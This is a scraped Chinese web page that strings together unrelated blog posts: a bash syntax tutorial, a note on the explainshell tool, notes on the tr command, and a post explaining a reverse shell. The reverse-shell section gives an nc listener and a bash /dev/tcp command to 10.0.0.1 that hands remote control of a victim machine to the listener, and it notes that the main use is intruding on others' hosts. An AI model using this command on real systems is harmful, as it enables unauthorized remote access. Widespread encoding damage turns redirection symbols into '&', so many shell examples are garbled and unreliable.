python执行shell命令令解析器有哪些

他的最新文章
他的热门文章
您举报文章:
举报原因:
原文地址:
原因补充:
(最多只允许输入30个字)Linux学习闲谈(一)
——Shell基本操作与命令
(转载请附上本文链接——linhxx)
1、#!/bin/sh
放在程序开头,表示用/bin/sh方式来解析。
1)变量赋值 varname=’xxx’,除了在变量赋值和在FOR循环语句头中,其他情况下BASH 中的变量使用必须在变量前加"$"符号,即采用 $varname使用变量。更为标准的变量引用方式是 ${STR} 这样的,$STR 自不过是对 ${STR} 的一种简化。在复杂情况下(即有可能产生歧义的地方)最好用带 {} 的表示方式。
2)给变量赋值时,等于号=两边都不能有空格。
3)local定义局部变量,export定义全局变量。
4)保留变量:
$IFS  这个变量中保存了用于分割输入参数的分割字符,默认是空格。
$HOME  这个变量中存储了当前用户的根目录路径。
$PATH  这个变量中存储了当前 Shell 的默认路径字符串。
$PS1  表示第一个系统提示符。
$PS2  表示的二个系统提示符。
$PWD  表示当前工作路径。
$EDITOR 表示系统的默认编辑器名称。
$BASH  表示当前 Shell 的路径字符串。
$RANDOM 随机的生成一个大小在 1 到 65536 之间的整数。
5)变量的特殊操作:
${var-default} 表示如果变量 $var 还没有设置,则保持 $var 没有设置的状态,并返回后面的默认值 default。
${var=default} 表示如果变量 $var 还没有设置,则取后面的默认值 default。
${var+otherwise} 表示如果变量 $var 已经设置,则返回 otherwise 的值,否则返回空( null )。
${var?err_msg} 表示如果变量 $var 已经设置,则返回该变量的值,否则将后面的 err_msg 输出到标准错误输出上。
${var#pattern},${var##pattern} 用于从变量 $var 中剥去最短(最长)的和 pattern 相匹配的最左侧的串。
${var%pattern},${var%%pattern} 用于从变量 $var 中剥去最短(最长)的和 pattern 相匹配的最右侧的串。
${var:pos} 表示去掉变量 $var 中前 pos 个字符。
${var:pos:len} 表示变量 $var 中去掉前 pos 个字符后的剩余字符串的前 len 个字符。
${var/pattern/replacement} 表示将变量 $var 中第一个出现的 pattern 模式替换为 replacement 字符串。
${var//pattern/replacement} 表示将变量 $var 中出现的所有 pattern 模式全部都替换为 replacment 字符串。
3、&& 和& || 以及 |
1)a && b 表示先执行a,成功再执行b。
2)a||b表示执行a,成功就不执行b,否则执行b。
3)a|b 表示先执行a,执行的结果用在执行b的过程。
4、特殊符号
1)# 用于开头表示定义,用于其他行的行首表示本行注释不执行
2); 多个语句放在同一行用此分隔。
3);; 在使用case时,作为每个选项的结束。
 varname=b
 case "$varbname" in
  [a-z]) echo "abc";;
  [0-9]) echo "123";;
4)单引号和双引号:同php
5)` (反引号),将命令执行的结果输出到变量。
cp `mkdir back` test.sh back ,反引号中的先执行,然后执行拷贝cp命令。
1. 空命令& bash的一个内建命令,退出码是0。与 true作用相同。
2. 变量扩展/字串替换& : & 文件&& 清空了这个文件& 和 cat 、dev/null 文件& 作用相同。但用 :不会产生新进程,因为是内建命令。
7)小括号 ()
1. 命令组,将括号内部的命令当做子shell,对脚本剩余部分不可用,变量存在作用域的问题。下列输出的结果是123,即小括号内的在小括号外没用。
( a=321;)&
echo "a = $a"
2. 初始化数组:arr=(1 3 5 7 9)
8)大括号{}
1. 文件名扩展& cp t.{txt,bak}&& 复制 t.txt 的内容到 t.bak 中
2. 代码块,和小括号相反,大括号外面仍然可以使用里面的变量。下面输出321。
{ a=321;}&
echo "a = $a"
9)中括号[]
1. if等条件放在中括号中 if [ $a -gt 10 ] ,方括号两边需要留空格。
2. 用来引用数组元素,同PHP
10)&、&与&&、&&
首先,两个符号和一个符号的相比,两个符号的是输出内容追加到文件后面,一个符号的意思是直接输出到文件(覆盖原来的内容)。
其次,符号表示重定向,大于小于用-gt和-lt。
例子:sort &&name.txt &&hello
1. sort &&name.txt& 将sort命令的结果屏蔽输出并重定向追加到name.txt文件尾部(重定向标准输出)。
2. name.txt&&hello执行name.txt,以hello作为所需要的输入内容(重定向标准输入)。
附加内容:
linux输入输出三种标准:标准输入、标准输出、标准错误输出,分别是0/1/2,组合起来使用是 sort & name.txt& 即sort 1& name.txt,但是要讲错误输出则用sort 2& name.txt,会把内容输出到name.txt。如果要同时将标准输出和标准错误输出都输出,则需要sort & name.txt 2&& 1,或者使用sort && name.txt。
读取并执行.sh文件,且是在当前shell下执行(./xxx.sh是在子shell下执行)
1)$$ 当前Shell进程的ID
2)$0 当前脚本的文件名
3)$n 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是$1,第二个参数是$2。最多到9,第十个无法用$10获取,需要存储$1以后,用shift命令把第一个变量剔除,则此时$9就是输入的第十个变量。
4)$# 传递给脚本或函数的参数个数。
5)$* 传递给脚本或函数的所有参数。
6)$@ 传递给脚本或函数的所有参数。被双引号(" ")包含时,与 $* 稍有不同。"$*" 会将所有的参数作为一个整体,以"$1 $2 … $n"的形式输出所有参数;"$@" 会将各个参数分开,以"$1" "$2" … "$n" 的形式输出所有参数。
7)$? 上个命令的退出状态,或函数的返回值。
执行man test可以查看所有测试表达式可以比较和判断的类型。
-e 文件已经存在
-f 文件是普通文件
-s 文件大小不为零
-d 文件是一个目录
-r 文件对当前用户可以读取
-w 文件对当前用户可以写入
-x 文件对当前用户可以执行
-g 文件的 GID 标志被设置
-u 文件的 UID 标志被设置
-O 文件是属于当前用户的
-G 文件的组 ID 和当前用户相同
file1 -nt file2 文件 file1 比 file2 更新
file1 -ot file2 文件 file1 比 file2 更老
file1 -ef file2 文件 file1 是 file2 的硬链接
如 if [ -x /root ] 可以用于判断 /root 目录是否可以被当前用户进入
对应的操作 整数操作 字符串操作
相同 -eq =
不同 -ne !=
大于 -gt &
小于 -lt &
大于或等于 -ge
小于或等于 -le
不为空 -n ,建议使用 ! -z 代替
上次读过之后做过修改 -N
比较整数 a 和 b 是否相等就写做 if [ $a = $b ]
判断整数 a 是否大于整数 b 就写做 if [ $a -gt $b ]
比较字符串 a 和 b 是否相等就写作:if [ $a = $b ]
判断字符串 a 是否为空就写作: if [ -z $a ]
判断整数变量 a 是否大于 b 就写作:if [ $a -gt $b ]
注意:在“[”和“]”符号的左右都留有空格。
sh -n your_script& 不需要执行脚本只是检查语法的模式,返回所有语法错误。
sh -x strangescript 执行该脚本并显示所有变量的值。
8、[[]]与[]区别
1)数字测试:&-eq&-ne&-lt&-le&-gt&-ge,[[&]]同&[&]一致
&&&&& 2)文件测试:&-r、-l、-w、-x、-f、-d、-s、-nt、-ot,[[&]]同&[&]一致
&&&&& 3)字符串测试:&&&&&=(同==)&!=&-n&-z,不可使用“&=”和“&=”,[[&]]同&[&]一致,但在[]中,&和&必须使用\进行转义,即\&和\&
&&&&& 4)逻辑测试:&[]为&-a&-o&!&[[&]]&为&&&||&!
&&&&& 5)数学运算:&[]&不可以使用&[[&]]可以使用+&-&*&/ %
&&&&& 6)组合: 均可用各自逻辑符号连接的数字(运算)测试、文件测试、字符测试
两个使用时都需要用空格分隔运算符和值。
专门来做数值运算,如果表达式求值为 0,则设置退出状态为 1;如果求值为非 0 值,则设置为 0。不需要对 (( 和 )) 之间的操作符转义。算术只对整数进行。除 0 会产生错误,但不会产生溢出。可以执行 C 语言中常见的算术、逻辑和位操作。
下面两种方法都输出100:
&((i=1+99));echo $i
i=99;((i++));echo $i
这种方法下符号和值不要有空格,和[[]]不一样。
命令末尾的&,表示采用非阻塞的方式执行命令,即不必等待执行结果,可以一边执行该行命令一边往下执行。
求函数的定义必须在函数使用之前。
函数参数的定义并不需要在函数定义处就制定,而只需要在函数被调用时用 BASH 的保留变量 $1 $2 ... 来引用就可以了。
BASH 的返回值可以用 return 语句来指定返回一个特定的整数,如果没有 return 语句显式的返回一个返回值,则返回值就是该函数最后一条语句执行的结果(一般为 0,如果执行失败返回错误码)。BASH 要求返回值必须为一个整数,不能用 return 语句返回字符串变量。
函数的返回值在调用该函数的程序体中通过 $? 保留字来获得。
square() {
let "res = $1 * $1"
return $res
12、select
BASH 中提供了一个小的语句格式,可以让程序快速的设计出一个字符界面的用户交互选择的菜单,该功能就是由 select 语句来实现的,select 语句的语法为:
xxx=’a b c’
select var in $xxx
statments use $var
上面的语法结构在执行后,BASH 会将$xxx中的所有项加上数字列在屏幕上等待用户选择,在用户作出选择后,变量 $var 中就包含了那个被选中的字符串,然后就可以对该变量进行需要的操作了。
等待用户的输入,并将用户输入的结果作为变量。
echo "Hi! $NAME !"
——written by linhxx
更多最新文章,欢迎关注微信公众号“决胜机器学习”,或扫描右边二维码。
阅读(...) 评论()主题信息(必填)
主题描述(最多限制在50个字符)
申请人信息(必填)
申请信息已提交审核,请注意查收邮件,我们会尽快给您反馈。
如有疑问,请联系
CSDN &《程序员》研发主编,投稿&纠错等事宜请致邮
你只管努力,剩下的交给时光!
如今的编程是一场程序员和上帝的竞赛,程序员要开发出更大更好、傻瓜都会用到软件。而上帝在努力创造出更大更傻的傻瓜。目前为止,上帝是赢的。个人网站:www.xttblog.com。个人QQ群:、
个人大数据技术博客:http://www.iteblog.com
以色列的开发了这个非常酷的工具。在搜索框里任意输入Linux命令,系统会将命令解析,从Ubuntu的manpage库中调出解释文本。界面非常漂亮。有人建议将这种线框风格单独抽取出来,可以用于各种解释场景(比如数学、物理公式,化学反应方程式),对此我非常同意。
比如,输入里的某个命令,比如cd -,系统将显示:
对新手和老手都非常有用。
系统已经开源,所以你也可以安装在自己的机器上运行。GitHub地址:
explainshell是用Python开发的,使用了NLTK在manpase里搜索相关语义,Web界面使用了d3.js和Flask。服务器端用的是uwsgi和nginx。
Hacker News上作者与大家进行了很多,值得一看。
类似的项目,有解释C语言语句的,解释正则表达式的。Shell脚本&tr命令解析
Jonas最近刚开始学习ubuntu下的shell脚本,分享一些个人见解。
最近在使用tr命令是出现了理解不了的问题,所以对tr命令进行了一些实验性的学习。
语法:tr [参数] . . . SET1 [SET2]
先来看一下基本参数
1. -d或--delete 删除在SET1中的字符,不进行转换。
<img src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" real_src ="http://ww3.sinaimg.cn/mw600/c289bdacjw1e3adkp1a5uj.jpg"
ALT="Shell脚本&tr命令解析"
TITLE="Shell脚本&tr命令解析" />
2. -s或--squeeze-repeats 将连续重复的字符以单字符替换
<img src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" real_src ="http://ww2.sinaimg.cn/mw600/c289bdacjw1e3adn6yu28j.jpg"
ALT="Shell脚本&tr命令解析"
TITLE="Shell脚本&tr命令解析" />
3 -t或--truncate-set 先删除SET1中多余SET2的字符,然后在进行-s的效果
<img src="http://simg.sinajs.cn/blog7style/images/common/sg_trans.gif" real_src ="http://ww1.sinaimg.cn/mw600/c289bdacjw1e3adpu0fsbj.jpg"
ALT="Shell脚本&tr命令解析"
TITLE="Shell脚本&tr命令解析" />
4. -c或--complerment
对SET1进行取反操作,将目标设定为出SET1之外的所有字符,一般与前三个参数结合使用。
具体SET1和SET2字符集格式可以查看help,不在一一举例。
在help用法末端有一段注意事项:
1). 没有使用-d参数且SET1和SET2都具备时就会发生字符转换。
2). -t只有在转换时才有可能使用。
3). SET2长度小于SET1时通过重复最后一个字符达到与SET1相同的长度,SET2超过SET1的部分被忽略。
4). -s只有在不发生转换或删除的情况下才使用SET1,否则在转换和删除结束后使用SET2。
已投稿到:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。Linux反弹shell命令解析
今天在看spark
stream的sample样例的时候看到linux的万金油命令nc。搜索相关的内容突然发现一个很好玩的用处就是反弹shell.下面我们就来讲讲反弹shell
1. 什么是反弹shell
简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。
2. 反弹shell的用途
这个反弹shell大部分用途是用来侵入别人的主机。就是因为感觉很厉害的样子,所以才来研究这家伙
3. 反弹shell操作步骤
3.1. 在本机开启端口9090
nc&-lk&9090&
3.2. 在需要被控制的机器上执行如下两种命令中的一种即可
bash&-i&&&&/dev/tcp/10.0.0.1/&
3.3. 在本机刚才执行nc -lk 9090命令行下面输入需要被控制的主机的命令即可
A主机开启9090端口的tcp服务
B主机连接到A主机的9090的tcp服务
A主机通过tcp服务把命令发到B主机
B主机读取命令并且在bash中执行
B主机把执行结果发给A主机
这样就可以在A主机中'玩弄'B主机了
下面重点来了
我们看这个操作其实还是蛮简单的,但是我们不能只局限于表面。我们需要去了解它的原理
其实nc -lk 9090命令没什么可说的,百度google一搜就出来了。我们今天要去解释的是bash -i &&
/dev/tcp/10.0.0.1/。这条命令在google也没搜出来什么结果。所以只能自己加夜班搞了。
inux shell下常用的文件描述符是:
标准输入 (stdin) :代码为 0 ,使用 & 或 && ;
标准输出 (stdout):代码为 1 ,使用 & 或 && ;
标准错误输出(stderr):代码为 2 ,使用 2& 或 2&&。
首先我们把这个命令拆解一下
bash&-i&#&这个也不知道说啥&&&&&#&这条命令&其实就是把stderr也输入到&stdout。它相当于&`&&xxx&2&&1`&&/dev/tcp/10.0.0.1/9090&#&这个就是连接到10.0.0.1的9090端口&&0&&1&#&这个在google百度上查了半天也没搞懂,只能去研究文档&&
其实前面3个命令组合在一起很好理解,就是把这个bash下的所有输出都发送到 10.0.0.1:9090。这个大家可以自己操作一下,去掉后面的
我们在命令里面写
2&&1都很好理解,就是把error重定向到stdout。但是0&&1好像不太好理解,我们看下文件描述符
这里看到的是2&&1就是把文件描述符2对应的设备改成了文件描述符1对应的设备。那么同理 0&&1就是把
0对应的设备改成的1对应的设备,那也就是socket。这就表明了
stdin就是从socket中读取数据,然后再执行命令,把bash的命令行返回内容通过stdout发到socket。
其实这些内容都可以在bash的man pages里面找到
文档里面写的很清楚 n&&word 是吧word复制给n, n&&word是吧word复制给n。
所以这里写 0&&1 或者是 0&&1都是可以的,只要把文件描述符1对应的设备复制给文件描述符0就可以了
参考文章 https://edu.aqniu.com/article/67
春节的脚步越来越近了,立春一过,年味儿一天比一天浓。再过几天一年一度的春运大幕即将拉开...
官方微博/微信
每日头条、业界资讯、热点资讯、八卦爆料,全天跟踪微博播报。各种爆料、内幕、花边、资讯一网打尽。百万互联网粉丝互动参与,TechWeb官方微博期待您的关注。
↑扫描二维码
想在手机上看科技资讯和科技八卦吗?想第一时间看独家爆料和深度报道吗?请关注TechWeb官方微信公众帐号:1.用手机扫左侧二维码;2.在添加朋友里,搜索关注TechWeb。
Copyright (C)
All rights reserved. 京ICP证060517号/京ICP备号 京公网安备76号
TechWeb公众号
机情秀公众号

我要回帖

更多关于 adb shell 没有su命令 的文章

 

随机推荐